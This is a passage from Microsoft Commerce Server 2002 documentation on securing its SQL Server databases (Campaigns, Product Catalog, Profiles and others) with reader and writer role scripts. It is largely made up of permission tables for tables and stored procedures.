  2. In the Connect to SQL Server dialog box, specify the appropriate SQL server.
  3. In Query Analyzer, in the database drop-down box, select the Business Desk Permissions database.
  4. Click File, and then click Open.
  5. Navigate to the scripts located in the Program Files\Microsoft Commerce Server\Support folder, and select BDReaderRole.

    The script opens and the code appears in the Query Analyzer window.

  6. On the toolbar, click Run to run the script against the selected database.
  7. Repeat these steps to run the BDWriterRole script.
  8. After you create the roles, assign the anonymous run-time user account and the Business Desk group account to the appropriate roles. For instructions, see Assigning SQL Server Database Roles.

The scripts create the roles and grant permissions on the following Permission tables and stored procedures.

Table BDReaderRole
(Run-time users) 		BDWriterRole
(Business Desk users)
BDSecurityDefinition
 No access Select
Update
Insert
Delete
BDSecurityIdentifiers
 No access Select
Update
Insert
Delete

Permissions Stored Procedures

The Business Desk security scripts grant permissions on the following stored procedures.

Stored Procedure BDReaderRole
(Run-time users) 		BDWriterRole
(Business Desk users)
sp_AddAccount
 No access Yes
sp_AddSIDsToTempTable
 No access Yes
sp_GetAccounts
 No access Yes
sp_GetAccountsForRight
 No access Yes
sp_GetPermissions
 No access Yes
sp_GetUID
 No access Yes
sp_RemoveAccount
 No access Yes
sp_RemoveSecurityDefinitions
 No access Yes
sp_SetPermissions
 No access Yes


Securing the Campaigns Database

It is strongly recommended that you use Windows Authentication for access to your databases. When you configure your database connection strings for Windows Authentication, you must assign Business Desk users and run-time users (who use an anonymous domain account) the appropriate level of access to your databases.

To help you secure the Campaigns database, Commerce Server includes two security scripts: CampaignReaderRole.sql and CampaignWriterRole.sql. These scripts are located in the Program Files\Microsoft Commerce Server\Support folder.

These scripts create two roles on the Campaigns database, and assign the necessary permissions to the tables and stored procedures:

  • CampaignReaderRole. Assign run-time users to this role.
  • CampaignWriterRole. Assign design-time users to this role.

Important

  • Business Desk users must be assigned to the CampaignWriterRole and the db_datareader role on the Campaigns database.
  • To enable Business Desk users to delete campaign items, they must belong to the public role on the Direct Mailer database.

To create the CampaignReaderRole and the CampaignWriterRole

  1. Click Start, point to Programs, point to Microsoft SQL Server, and then click SQL Query Analyzer.
  2. In the Connect to SQL Server dialog box, specify the appropriate SQL server.
  3. In Query Analyzer, in the database drop-down box, select the Campaigns database.
  4. Click File, and then click Open.
  5. Navigate to the scripts located in the Program Files\Microsoft Commerce Server\Support folder, and select CampaignReaderRole.

    The script opens and the code appears in the Query Analyzer window.

  6. On the toolbar, click Run to run the script against the selected database.
  7. Repeat these steps to run the CampaignWriterRole script.
  8. After you create the roles, assign the anonymous run-time user account and the Business Desk group account to the appropriate roles. For instructions, see Assigning SQL Server Database Roles.

The scripts create the roles and grant permissions on the following Campaign tables and stored procedures.

Table name CampaignReaderRole
(Run-time users) 		CampaignWriterRole
(Business Desk users)
Ad_item
 Select Select
Update
Insert
Campaign
 Select Select
Update
Insert
Campaign_item
 Select Select
Update
Insert
Campaign_item_types
 Select Select
Update
Insert
Campaigns_version
 Select Select
Creative
 Select Select
Update
Insert
Creative_property
 Select Select
Update
Insert
Creative_property_value
 Select Select
Update
Insert
Delete
Creative_size
 Select Select
Update
Insert
Delete
Creative_type
 Select Select
Creative_type_xref
 Select Select
Customer
 Select Select
Update
Insert
Dm_item
 No access Select
Update
Insert
Delete
Event_type
 Select Select
Industry_code
 Select Select
Update
Insert
Delete
Order_discount
 Select Select
Update
Insert
Order_discount_expression
 Select Select
Update
Insert
Delete
Order_discount_misc
 Select Select
Update
Insert
Delete
Page_group
 Select Select
Update
Insert
Delete
Page_group_xref
 Select Select
Update
Insert
Delete
Performance_total
 Select
Update
Insert 		Select
Target
 Select Select
Update
Insert
Delete
Target_group
 Select Select
Update
Insert
Delete
Target_group_xref
 Select Select
Update
Insert
Delete
Virtual_directory
 Select
Update
Insert 		Select
Delete

Campaigns Stored Procedures

The campaigns security scripts grant permissions on the following stored procedures as shown.

Campaigns stored procedures CampaignReaderRole
(Run-time users) 		CampaignWriterRole
(Business Desk users)
sp_camp_item_archive
 No Yes
sp_clean_archived_campaigns
 No Yes
sp_clean_delete_campaign
 No Yes
sp_clean_delete_campitem
 No Yes
sp_clean_delete_customer
 No Yes
sp_cs_campitem_add
 No Yes
sp_cs_campitem_delete
 No Yes
sp_cs_campitem_update
 No Yes
sp_cs_mail_add
 No Yes
sp_cs_mail_delete
 No Yes
sp_cs_mail_schedid
 No Yes
sp_cs_mail_update
 No Yes
sp_DeleteCampaign
 No Yes
sp_DeleteCampaignItem
 No Yes
sp_DeleteCustomer
 No Yes
sp_dm_item_delete
 No Yes
sp_dm_item_edit
 No Yes
sp_dm_item_new
 No Yes
sp_GetCampItemGUID
 No Yes
sp_InsertAdItem
 No Yes
sp_InsertCampaign
 No Yes
sp_InsertCampaignItem
 No Yes
sp_InsertCPValue
 No Yes
sp_InsertCreative
 No Yes
sp_InsertCustomer
 No Yes
sp_InsertDiscount
 No Yes
sp_InsertDiscount2
 No Yes
sp_InsertDiscountMisc
 No Yes
sp_InsertPageGroup
 No Yes
sp_InsertPageGroupMain
 No Yes
sp_InsertTargetGroup
 No Yes
sp_InsertTargetGroupMain
 No Yes
sp_InsertTargetMain
 No Yes
sp_UndeleteCampaign
 No Yes
sp_UndeleteCampaignItem
 No Yes
sp_UndeleteCustomer
 No Yes
sp_update_performance_total
 Yes Yes
sp_update_vdir
 Yes Yes
sp_UpdateAdItem
 No Yes
sp_UpdateCampaign
 No Yes
sp_UpdateCampaignItem
 No Yes
sp_UpdateCreative
 No Yes
sp_UpdateCustomer
 No Yes
sp_UpdateDiscount
 No Yes
sp_UpdateDiscount2
 No Yes
sp_UpdateDiscountMisc
 No Yes
sp_UpdateTargetGroupMain
 No Yes
sp_UpdateTargetMain
 No Yes

List Manager: Dynamic Database Objects

The List Manager Service, which runs under a service account, creates a new table for each list that is imported. For example, it might create the following table:

LM_MAILLIST_40FBCA60_ABE8_4392_BB0B_2B02BA95AE03

The first time the List Manager service is invoked, it finds the appropriate database using its connection string and checks whether the database has the List Manager tables. If it does not, it creates the following two tables:

lm_master
lm_master_operations

When the Direct Mailer job runs and calls the List Manager service, the List Manager also creates tables in the Direct Mailer database.

The following table shows the permissions required by List Manager, Predictor (Commerce Server 2002 Enterprise Edition), Business Desk users, and the run-time users.

Table name | Run-time users | Business Desk users | List Manager Service account | Predictor Service account
Campaigns database For security requirements, see the Campaigns tables. For security requirements, see the Campaigns tables. db_owner role db_ddladmin
db_datawriter
db_datareader
Direct Mailer database | For security requirements, see Securing the Direct Mailer Database. | For security requirements, see Securing the Direct Mailer Database. | db_owner role | No access
lm_master
 No No Select
Update
Insert
Delete 		Select
Update
Insert
Delete
lm_master_operations

No
No
Select

Update

Insert

Delete
Select

Update

Insert

Delete

LM_MAILLIST_<GUID>

No
No
Select

Update

Insert

Delete
Select

Update

Insert

Delete

List Manager Stored Procedures

Stored procedure
Run-Time users
Business Desk users
ListManager Service Account

sp_lm_CheckLMStore

No
No
Yes

sp_lm_DeleteListAndData

No
No
Yes

sp_lm_GetSchema

No
No
Yes

sp_lm_LoadAllLists

No
No
Yes

sp_lm_LoadAllOperations

No
No
Yes

sp_lm_LoadListById

No
No
Yes

sp_lm_LoadListByName

No
No
Yes

sp_lm_LoadOperationInfo

No
No
Yes

sp_lm_SaveListDetails

No
No
Yes

sp_lm_SaveOperationDetails

No
No
Yes

sp_lm_SetListCreationTime

No
No
Yes

sp_lm_SetOpCompletionTime

No
No
Yes

sp_lm_UpdateListRecentOperLid

No
No
Yes

sp_lm_UpdateListStatus

No
No
Yes

sp_lm_UpdateOperStatus

No
No
Yes

After these tables and stored procedures are created, if you change the account for List Manager, you must remember to grant the appropriate permissions to the new account.

See Also

Permissions Required to Export Static Reports and Segments to List Manager

List Manager Service Account


Securing the Product Catalog Database

It is strongly recommended that you use Windows Authentication for access to your databases. When you configure your database connection strings for Windows Authentication, you must assign Business Desk users and run-time users (who use an anonymous domain account) the appropriate level of access to your databases.

This topic explains the permissions that the Business Desk user and run-time users require to access the Catalog database.

Business Desk Users

To enable Business Desk users to edit catalogs (for example, edit the catalog definition, rebuild the catalog, refresh the full-text index and publish the catalog), you must assign them to the db_owner role.

Carefully consider the trustworthiness of the Business Desk user that you assign to the db_owner role. When assigning a Business Desk user to this role, you must consider the following security risk:

Important

  • A Business Desk user assigned to the db_owner role could potentially delete a database. To mitigate this risk, you must create a firewall to prevent direct connection from the Business Desk client to the SQL Server database that contains the catalogs. This is the recommended secure configuration. For detailed instructions, see Deploying a Secure Site.

If you are using BizTalk Server to exchange catalogs with trading partners, the CatalogToVendorAssociation.GetVendorList() API requires access to the BizTalk Messaging Management database (InterchangeBTM). On the InterchangeBTM database, you must grant Execute permission on btsint_organizations_selectvalidvendors stored procedure. Without this permission, the CatalogToVendorAssociation.GetVendorList() API will fail.

Run-Time Users

When using Windows authentication, you must assign run time users who visit your Web site the appropriate level of access to your catalogs. A script will be made available in Commerce Server Service Pack 2 that will configure the appropriate access.

Notes

  • Members of the ctlg_CatalogReaderRole must have db_owner permissions on the MSCS_CatalogScratch database. The MSCS_CatalogScratch database is a temporary database with no persistent data, so this is not a security issue. If users visiting your site do not have access to the MSCS_CatalogScratch database, they will not be able to search your product catalog.
  • Members of the ctlg_CatalogReaderRole must have db_reader permissions on the Administration database. This is required so they can retrieve the connection string to the Product Catalog database and view your catalogs.
  • If you are using join keys to link to external tables, you must grant members of the ctlg_CatalogReaderRole Select permissions on those tables as well.

Global Catalog Tables

The CatalogSecurityRoles.sql script grants Select access to the ctlg_CatalogReaderRole for the following Product Catalog tables:

Table name ctlg_CatalogReaderRole
(Run-time users)
CatalogAttributes
 Select
CatalogDefinitions
 Select
CatalogDefinitionProperties
 Select
CatalogenumValues
 Select
CatalogGlobal
 Select
CatalogLanguage
 Select
CatalogLanguageMap
 Select
CatalogSchemaVersion
 Select
CatalogSet_Catalogs
 Select
CatalogSet_Info
 Select
CatalogStatus
 Select
CatalogToVendorAssociation
 Select
CatalogUsedDefinitions
 Select

Base Catalog Tables

The following tables list the base catalog tables for each base catalog.

For each base catalog

Table name ctlg_CatalogReaderRole
(Run-time users)
<Catalog Name>_CatalogDeletedProducts
 No Access
<Catalog Name>_CatalogDependentCatalogs
 Select
<Catalog Name>_CatalogHierarchy
 Select
<Catalog Name>_CatalogProducts
 Select
<Catalog Name>_CatalogRelationships
 Select

For each language in the catalog

Table name ctlg_CatalogReaderRole
(Run-time users)
<Catalog Name>_<LANGUAGE>_Catalog
 Select

Virtual Catalog Tables

The following tables list the virtual catalog tables for each base catalog.

For each virtual catalog

Table name ctlg_CatalogReaderRole
(Run-time users)
<VirtualCatalog Name>_CatalogDeletedProducts
 No Access
<VirtualCatalog Name>_CatalogHierarchy
 Select
<VirtualCatalog Name>_CatalogIncludedProductsAndCategories
 No Access
<VirtualCatalog Name>_CatalogPricingRules
 No Access
<VirtualCatalog Name>_CatalogProducts
 Select
<VirtualCatalog Name>_CatalogRelationships
 Select
<VirtualCatalog Name>_CatalogVirtualProducts
 Select

For each language in the catalog

Table name ctlg_CatalogReaderRole
(Run-time users)
<VirtualCatalog Name>_<LANGUAGE>_Catalog
 Select

Catalog Views

For the global catalog

View ctlg_CatalogReaderRole
(Run-time user)
CatalogGlobal_LNG_NEUTRAL
 Select

For each language in the Product Catalog System

View ctlg_CatalogReaderRole
(Run-time user)
<CatalogGlobal_<LANGUAGE>
 Select

For each catalog

View ctlg_CatalogReaderRole
(Run-time user)
<Catalog Name>_ClassTypes
 Select
<Catalog Name>_LNG_NEUTRAL
 Select

For each catalog

View ctlg_CatalogReaderRole
(Run-Time user)
<Catalog Name>_<LANGUAGE>_RelationsView
 Select
<Catalog Name>_<LANGUAGE>
 Select

Catalog Stored Procedures

The CatalogSecurityRoles.sql script grants the appropriate access to the following stored procedures. Also listed is the access that the design-time user account should have.

Catalog stored procedures ctlg_CatalogReaderRole
(Run-Time user) 		Business Desk user
ctlg_AddAttributeToCatalog
 No access Yes
ctlg_AddCatalogDefinitionProperty
 No access Yes
ctlg_AddCatalogLanguage
 No access Yes
ctlg_AddCatalogLanguageMap
 No access Yes
ctlg_AddChildCategoryToCategory
 No access Yes
ctlg_AddColumnsToCatalog
 No access Yes
ctlg_AddColumnsToRelationships
 No access Yes
ctlg_AddDefaultToProperty
 No access Yes
ctlg_AddDisplayNameToCatalog
 No access Yes
ctlg_AddDisplayNameToProperty
 No access Yes
ctlg_AddFullTextCatalogForLanguage
 No access Yes
ctlg_AddParentCategoryToCategory
 No access Yes
ctlg_AddPricingCategory
 No access Yes
ctlg_AddProductToCategory
 No access Yes
ctlg_AddPropertyAttribute
 No access Yes
ctlg_AddPropertyForCSVImport
 No access Yes
ctlg_AddPropertyToDefinition
 No access Yes
ctlg_AddPropertyValue
 No access Yes
ctlg_AddRelationshipToCategory
 No access Yes
ctlg_AddRelationshipToProduct
 No access Yes
ctlg_AlterClassTypesToProduct
 No access Yes
ctlg_AlterClassTypesToProductFamily
 No access Yes
ctlg_AlterColumnInTable
 No access Yes
ctlg_AlterFullTextColumns
 No access Yes
ctlg_AlterPropertyInFullTextCatalogs
 No access Yes
ctlg_AlterPropertyLength
 No access Yes
ctlg_CheckCatalog
 Yes Yes
ctlg_CompleteCatalogImport
 No access Yes
ctlg_CreateCatalogClassTypesView
 No access Yes
ctlg_CreateCatalogLanguageView
 No access Yes
ctlg_CreateCatalogLanguageViews
 No access Yes
ctlg_CreateCatalogProcedures
 No access Yes
ctlg_CreateCatalogSystem_LanguageView
 No access Yes
ctlg_CreateCatalogSystem_LanguageViews
 No access Yes
ctlg_CreateCategory
 No access Yes
ctlg_CreateCategoryDefinition
 No access Yes
ctlg_CreateFullTextCatalog
 No access Yes
ctlg_CreateProduct
 No access Yes
ctlg_CreateProductDefinition
 No access Yes
ctlg_CreateProductVariant
 No access Yes
ctlg_CreateProperty
 No access Yes
ctlg_CreateTriggers
 No access Yes
ctlg_DeleteCatalog
 No access Yes
ctlg_DeleteCatalogDefinition
 No access Yes
ctlg_DeleteImportProduct
 No access Yes
ctlg_DeleteProductsFromDeletedTable
 No access Yes
ctlg_DeleteProperty
 No access Yes
ctlg_DeleteVariant
 No access Yes
ctlg_DropCatalogLanguageView
 No access Yes
ctlg_DropCatalogObjectFromDatabase
 No access Yes
ctlg_DropCatalogProcedures
 No access Yes
ctlg_DropCatalogProceduresAndViews
 No access Yes
ctlg_DropFullTextCatalog
 No access Yes
ctlg_DropViewOnCatalogGlobal
 No access Yes
ctlg_EnsurePropTableMapExists
 Yes Yes
ctlg_GetBaseCatalogName
 Yes Yes
ctlg_GetCatalogDefinitionProperties
 Yes Yes
ctlg_GetCatalogGlobalProperties
 Yes Yes
ctlg_GetCatalogLanguages
 Yes Yes
ctlg_GetCatalogLanguagesForExport
 Yes Yes
ctlg_GetCatalogProperties
 Yes Yes
ctlg_GetCatalogPropertiesForExport
 Yes Yes
ctlg_GetCatalogPropertiesForUpdate
 No access Yes
ctlg_GetCatalogRelationships
 Yes Yes
ctlg_GetCatalogType
 Yes No access
ctlg_GetCatalogs
 Yes Yes
ctlg_GetCatalogsInCatalogSet
 Yes Yes
ctlg_GetCategoryOID
 Yes Yes
ctlg_GetCategoryProperties
 Yes Yes
ctlg_GetDefinedCatalogAttributes
 Yes Yes
ctlg_GetDefinedPropertyAttributes
 Yes Yes
ctlg_GetDefinitionProperties
 Yes Yes
ctlg_GetDefinitions
 Yes Yes
ctlg_GetDefnPropertiesForCatalogImport
 No access Yes
ctlg_GetDefnPropertiesForCSVImport
 No access Yes
ctlg_GetDeletedProducts
 Yes Yes
ctlg_GetDistinctPropertiesIncatalog
 Yes Yes
ctlg_GetFTSColumnLCID
 No access Yes
ctlg_GetFTSQuery
 Yes Yes
ctlg_gethierarchy
 Yes Yes
ctlg_gethierarchy2
 Yes Yes
ctlg_GetHierarchy_For_VC
 Yes Yes
ctlg_GetJoinType
 Yes Yes
ctlg_GetParentCategories
 Yes Yes
ctlg_GetPricingCategory
 Yes Yes
ctlg_GetPricingCategoryOIDs
 Yes Yes
ctlg_GetPrimaryParentCategory
 Yes Yes
ctlg_GetProductCategory_UniqueID
 Yes Yes
ctlg_GetProductOID
 Yes Yes
ctlg_GetProductOIDAndType
 Yes Yes
ctlg_GetProductProperties
 Yes Yes
ctlg_GetProductsForExport
 No access Yes
ctlg_GetProductVariantProperties
 Yes Yes
ctlg_GetProperties
 Yes Yes
ctlg_GetPropertiesForCatalog
 Yes Yes
ctlg_GetPropertiesInCatalog
 Yes Yes
ctlg_GetPropertiesInDefinitions
 Yes Yes
ctlg_GetPropertiesUsedInCatalogs
 Yes Yes
ctlg_GetPropertyAttributes
 Yes Yes
ctlg_GetPropertyAttributesForDefinition
 Yes Yes
ctlg_GetPropertyValues
 Yes Yes
ctlg_GetRelationships_For_VC
 Yes Yes
ctlg_GetResults
 Yes Yes
ctlg_GetSearchableCategories
 Yes Yes
ctlg_GetSmallestFulltextcatalog
 No access Yes
ctlg_GetSourceCatalogsForExport
 No access Yes
ctlg_GetSpecsearchableProps
 Yes Yes
ctlg_GetSQLQuery
 Yes Yes
ctlg_GetValidLanguage
 Yes Yes
ctlg_ImportRelationship
 No access Yes
ctlg_InsertCatalogGlobal
 No access Yes
ctlg_InsertCatalogsBeingExportedOrImported
 No access Yes
ctlg_InsertCatalogStatus
 No access Yes
ctlg_InsertCSVCatalog
 No access Yes
ctlg_InsertDefinition
 No access Yes
ctlg_InsertDefinitionProperties
 No access Yes
ctlg_InsertEnumValues
 No access Yes
ctlg_InsertHierarchy
 No access Yes
ctlg_InsertHierarchy2
 No access Yes
ctlg_InsertUsedDefinition
 No access Yes
ctlg_IsCatalogPropertyRemovable
 No access Yes
ctlg_IsCatalogValidForFTSearch
 Yes Yes
ctlg_IsCategorySpecSearchable
 Yes Yes
ctlg_IsDefinitionPresent
 Yes Yes
ctlg_IsDefinitionPropPresent
 Yes Yes
ctlg_IsDefinitionUsedInCatalog
 Yes Yes
ctlg_IsEnumPresent
 Yes Yes
ctlg_IsProductvalid
 Yes Yes
ctlg_IsPropertyPresentInDefinition
 Yes Yes
ctlg_JoinQueryWithTable
 Yes Yes
ctlg_PersistTT_EnsureExists
 Yes Yes
ctlg_PersistTT_GetName
 Yes Yes
ctlg_PersistTT_Purge
 Yes Yes
ctlg_PersistTT_PurgeTablesUsingProperty
 Yes Yes
ctlg_PurgeCatalog
 No access Yes
ctlg_RecordCatalogExport
 No access Yes
ctlg_RemoveAllCatalogLanguages
 No access Yes
ctlg_RemoveCatalogAttribute
 No access Yes
ctlg_RemoveCatalogLanguage
 No access Yes
ctlg_RemoveChildCategoryForCategory
 No access Yes
ctlg_RemoveColumnsFromRelationships
 No access Yes
ctlg_RemoveDefinitionFromCatalog
 No access Yes
ctlg_RemoveFullTextCatalogForLanguage
 No access Yes
ctlg_RemoveParentCategoryForCategory
 No access Yes
ctlg_RemoveProductFromCategory
 No access Yes
ctlg_RemovePropertyAttribute
 No access Yes
ctlg_RemovePropertyFromDefinition
 No access Yes
ctlg_RemovePropertyValue
 No access Yes
ctlg_RemoveRelationship
 No access Yes
ctlg_RenameCatalogDefinition
 No access Yes
ctlg_RenameCatalogProperty
 No access Yes
ctlg_SetPricingCategory
 No access Yes
ctlg_SetPrimaryParentCategory
 No access Yes
ctlg_TableExistsInFullTextCatalog
 No access Yes
ctlg_UpdateCategoryDisplayNames
 No access Yes
ctlg_UpdateCategoryRelationships
 No access Yes
ctlg_UpdateParentOids
 No access Yes
ctlg_UpdateProductRelationships
 No access Yes
ctlg_ValidateCatalogForCSVImport
 No access Yes
ctlg_ValidateJoinTableInfo
 Yes Yes
ctlg_VC_AddHierarchy
 No access Yes
ctlg_VC_AddPriceRule
 No access Yes
ctlg_VC_AddVCRule
 No access Yes
ctlg_VC_ApplyCatalogLevelPriceRule
 No access Yes
ctlg_VC_ApplyPriceRule
 No access Yes
ctlg_VC_ApplyPriceRuleToDescendents
 No access Yes
ctlg_VC_BC_GetDependentCatalogs
 Yes Yes
ctlg_VC_DoesPriceRuleExist
 No access Yes
ctlg_VC_DoesProdOrCategExist
 Yes Yes
ctlg_VC_DoesVCRuleExist
 No access Yes
ctlg_VC_EvaluateVCRule
 No access Yes
ctlg_VC_ExcludeCatalog
 No access Yes
ctlg_VC_ExcludeCategory
 No access Yes
ctlg_VC_ExcludeCategoryDescendents
 No access Yes
ctlg_VC_ExcludeProduct
 No access Yes
ctlg_VC_ExcludeVariant
 No access Yes
ctlg_VC_FTS_GetResults
 Yes Yes
ctlg_VC_GetPriceRules
 Yes Yes
sp_VC_GetProductOrVariantOrCategoryOID
 Yes Yes
ctlg_VC_GetRelationshipDescColumns
 Yes Yes
ctlg_VC_GetSourceCatalogs
 Yes Yes
ctlg_VC_GetUserDefinedBCProperties
 No access Yes
ctlg_VC_GetUserDefinedVCProperties
 No access Yes
ctlg_VC_GetVCRules
 No access Yes
ctlg_VC_ImportPriceRule
 No access Yes
ctlg_VC_ImportRelationship
 No access Yes
ctlg_VC_ImportRule
 No access Yes
ctlg_VC_IncludeCatalog
 No access Yes
ctlg_VC_IncludeCategory
 No access Yes
ctlg_VC_IncludeCategoryDescendents
 No access Yes
ctlg_VC_IncludeExcludeCatalog
 No access Yes
ctlg_VC_IncludeProduct
 No access Yes
ctlg_VC_IncludeVariant
 No access Yes
ctlg_VC_IsVirtualCatalog
 Yes Yes
ctlg_VC_MaterializeVCViews
 No access Yes
ctlg_VC_PropagateBCChanges
 No access Yes
ctlg_VC_PropagateBCChanges_DeleteCatalog
 No access Yes
ctlg_VC_PropagateBCChanges_Hierarchy
 No access Yes
ctlg_VC_PropagateBCChanges_PrimaryParentCategory
 No access Yes
ctlg_VC_PropagateBCChanges_ProductCategory
 No access Yes
ctlg_VC_PropagateBCChanges_Relationship
 No access Yes
ctlg_VC_PropagateBCChanges_Variant
 No access Yes
ctlg_VC_PropagateDependentCatalogChanges
 No access Yes
ctlg_VC_PropagateVCChanges_DeleteCatalog
 No access Yes
ctlg_VC_RebuildVirtualCatalog
 No access Yes
ctlg_VC_ReEvaluateAllPricingRules
 No access Yes
ctlg_VC_ReEvaluateAllVCInclusionOrExclusionRules
 No access Yes
ctlg_VC_ReEvaluateAllVCRules
 No access Yes
ctlg_VC_RemovePriceRule
 No access Yes
ctlg_VC_RemoveVCRule
 No access Yes
ctlg_VC_Reset_Evaluated_Tables
 No access Yes
ctlg_VC_ResetUserDefinedLinks
 No access Yes
ctlg_VC_SetVCDirtyFlag
 No access Yes
ctlg_VC_SetVCRebuildStatus
 No access Yes
ctlg_VC_SetVCStatus
 No access Yes
ctlg_VC_SplitVCIdentifierName
 Yes Yes
ctlg_VC_UpdateDependentVCs_DeletedProductsTables
 No access Yes
ctlg_VC_UpdateVCs_Dependent_On_DefinitionName
 No access Yes
ctlg_VC_UpdateVCs_Dependent_On_PropertyName
 No access Yes

Catalog-Specific Stored Procedures

Stored procedures for each catalog

Stored procedures ctlg_CatalogReaderRole
(Runtime user) 		Business Desk user
ctlg_DeleteCategory_for_<Catalog Name>
 No access Yes
ctlg_DeleteProduct_for_<Catalog Name>
 No access Yes
ctlg_GetRelationships_for_<Catalog Name>
 Yes Yes
ctlg_GetResults_for_AllColumns_<Catalog Name>
 Yes Yes

Stored procedures per catalog language

Stored procedures ctlg_CatalogReaderRole
(Run-Time user) 		Business Desk user
ctlg_AncestorCategories_for_<Catalog Name>_<LANGUAGE>
 Yes Yes
ctlg_GetCategoryResults_For_<Catalog Name>_<LANGUAGE>
 Yes Yes
ctlg_GetChildCategories_for_<Catalog Name>_<LANGUAGE>
 Yes Yes
ctlg_GetDescProds_for_<Catalog Name>_<LANGUAGE>
 Yes Yes
ctlg_GetDescProdsOnly_for_<Catalog Name>_<LANGUAGE>
 Yes Yes
ctlg_GetProductsFor_<Catalog Name>_<LANGUAGE>
 Yes Yes
ctlg_GetRootCategories_for_<Catalog Name>_<LANGUAGE>
 Yes Yes
ctlg_GetRootProducts_for_<Catalog Name>_<LANGUAGE>
 Yes Yes
ctlg_Specsearch_for_<Catalog Name>_<LANGUAGE>
 Yes Yes

Functions

Function Name

 ctlg_CatalogReaderRole
(Run-Time user) 		Business Desk user
fn_AddTablePrefixToColumnList
 Yes Yes
fn_CS_AppendClause
 Yes Yes
fn_IsSingleLanguageCatalog
 Yes Yes
fn_VC_GetMungedIdentifier
 Yes Yes
GetSQLDataType
 Yes Yes


Securing the Profiles Database

It is strongly recommended that you use Windows Authentication for access to your databases. When you configure your database connection strings for Windows Authentication, you must assign Business Desk users and run-time users (who use an anonymous domain account) the appropriate levels of access to your databases.

Systems administrators also require access to the Profiles database and should be assigned to the db_owner role.

To help you secure the Profiles database, Commerce Server includes two security scripts: ProfileReaderRole.sql and ProfileWriterRole.sql. These scripts are located in the Program Files\Microsoft Commerce Server\Support folder.

These scripts create two roles on the Profiles database, and assign the necessary permissions to the tables and stored procedures:

  • ProfileReaderRole. Assign run-time users to this role.
  • ProfileWriterRole. Assign design-time users to this role.

To create the ProfileReaderRole and the ProfileWriterRole

  1. Click Start, point to Programs, point to Microsoft SQL Server, and then click SQL Query Analyzer.
  2. In the Connect to SQL Server dialog box, specify the appropriate SQL server.
  3. In Query Analyzer, in the database drop-down box, select the Profiles database.
  4. Click File, and then click Open.
  5. Navigate to the scripts located in the Program Files\Microsoft Commerce Server\Support folder, and select ProfileReaderRole.

    The script opens and the code appears in the Query Analyzer window.

  6. On the toolbar, click Run to run the script against the Profiles database.
  7. Repeat these steps to run the ProfileWriterRole script.
  8. After you create the roles, assign the anonymous run-time user account and the Business Desk group account to the appropriate roles. For instructions, see Assigning SQL Server Database Roles.

The scripts create the two roles and grant permissions on the following Profiles tables and stored procedures.

Table name ProfileReaderRole
(Run-time users) 		ProfileWriterRole
(Business Desk users)
Addresses
 Select Select
Insert
Delete
Update
BlanketPOs
 Select Select
Insert
Delete
Update
ClassDef
 Select Select
Update
ClsAttrib
 Select Select
ColDef
 Select Select
CommerceServerCatalogs
 Select Select
ES_ExprExprDeps
 Select Select
Update
Insert
Delete
ES_ExprInfo
 Select Select
Update
Insert
Delete
ES_ExprProfDeps
 Select Select
Update
Insert
Delete
GroupMem
 Select Select
Update
Insert
MemAttrib
 Select Select
Update
Insert
Delete
MemberDef
 Select Select
Update
Insert
Delete
OrganizationObject
 Select
Insert
Update 		Select
Insert
Delete
Update
RelDef
 Select Select
SourceAttrib
 Select Select

Insert

Delete

Update

SourceDef
 Select Select

Insert

Delete

Update

TableDef
 Select Select
Insert
Delete
Update
UserObject
 Select
Insert
Update 		Select
Insert
Delete
Update

Profiles Stored Procedures

To secure the Profiles stored procedures, the scripts grant permissions to the ProfileReaderRole and ProfileWriterRole scripts as shown in the following table.

Note

  • In the Catalogs database, you must grant the CatalogSet_Info table Select permissions for the Business Desk user account. Otherwise, catalog sets used by the Organization and Profile modules will fail to load.
Profiles stored procedures ProfileReaderRole
(Run-Time users) 		ProfileWriterRole
(Business Desk users)
sp_CheckDeleteExpr
 No Yes
sp_CheckExprExprDeps
 No Yes
sp_CheckExprStore
 Yes Yes
sp_DelProfile
 No Yes
sp_DelProfileCatalog
 No Yes
sp_DelProfileGroup
 No Yes
sp_DelProfileGroupHelper
 No Yes
sp_DelProfileHelper
 No Yes
Sp_DelProfileProperty
 No Yes
sp_DelProfilePropHelper
 No Yes
sp_DelDataMember
 No Yes
sp_DelDataObject
 No Yes
sp_DelDataSource
 No Yes
sp_EnsureEmptyStore
 No Yes
sp_ExprIDFromName
 Yes Yes
sp_ExprNameFromID
 Yes Yes
sp_GetProfileCustomProps
 No Yes
sp_GetDataSourceDepends
 No Yes
sp_GetDataSourceInfo
 Yes Yes
sp_GetProfileCatalogInfo
 Yes Yes
sp_GetProfileCatalogs
 No Yes
sp_GetProfileDomains
 No Yes
sp_GetProfileInfo
 Yes Yes
sp_GetProfileMemAttrs
 No Yes
sp_GetProfileMember
 No Yes
sp_GetProfileProps
 Yes Yes
sp_GetProfileSources
 No Yes
sp_ImportExprInfo
 No Yes
sp_UpdateExprModDate
 No Yes

See Also

Credentials for an Active Directory Profile Data Source


Credentials for an Active Directory Profile Data Source

You can use the Profiles resource to configure the authentication type that the Profile Service uses to connect an underlying data source that is Active Directory. When you configure the data source, it is recommended that you specify credentials that have permissions to perform the operations on the container in Active Directory. On the System Attributes dialog box, you can select the Use the same credentials for all users option, which forces the Profile Service to use of the specified credentials.

When you select this option, the Profile Service uses the user name and password stored in the LDAPv3 binding credentials when binding to the Active Directory Store. This user name and password pair is stored in the database in clear text.

For example, a user logs on to your site, the credentials are read from the SQL Server database, and then the Profile Service binds to Active Directory using those credentials.

If you do not select Use the same credentials for all users, then you are using the Integrated Windows Authentication mode of the Profiling System for Active Directory. This means that the Profiling System uses the security context of the calling thread to make the call to Active Directory, and Active Directory accepts or rejects the call on the basis of that security context.

To effectively use the Profile Service this way with a customer self-registering site would mean giving the IIS anonymous user account permissions to do create operations on the Active Directory container where your user data is stored.

See Also

Creating a Profile Definition in the Profiles Resource

Creating a Profile Definition with Two Data Sources


Securing the Transactions Database

It is strongly recommended that you use Windows Authentication for access to your databases. When you configure your database connection strings for Windows Authentication, you must assign Business Desk users and run-time users (who use an anonymous domain account) the appropriate levels of access to your databases.

To help you secure the Transactions database, Commerce Server includes two security scripts: TransactionsReaderRole.sql and TransactionsWriterRole.sql. These scripts are located in the Program Files\Microsoft Commerce Server\Support folder.

These scripts create two roles on the Transactions database, and assign the necessary permissions to the tables and stored procedures:

  • TransactionsReaderRole. Assign run-time users to this role.
  • TransactionsWriterRole. Assign design-time users to this role.

To create and run the TransactionsReaderRole and TransactionsWriterRole

  1. Click Start, point to Programs, point to Microsoft SQL Server, and then click SQL Query Analyzer.
  2. In the Connect to SQL Server dialog box, specify the appropriate SQL server.
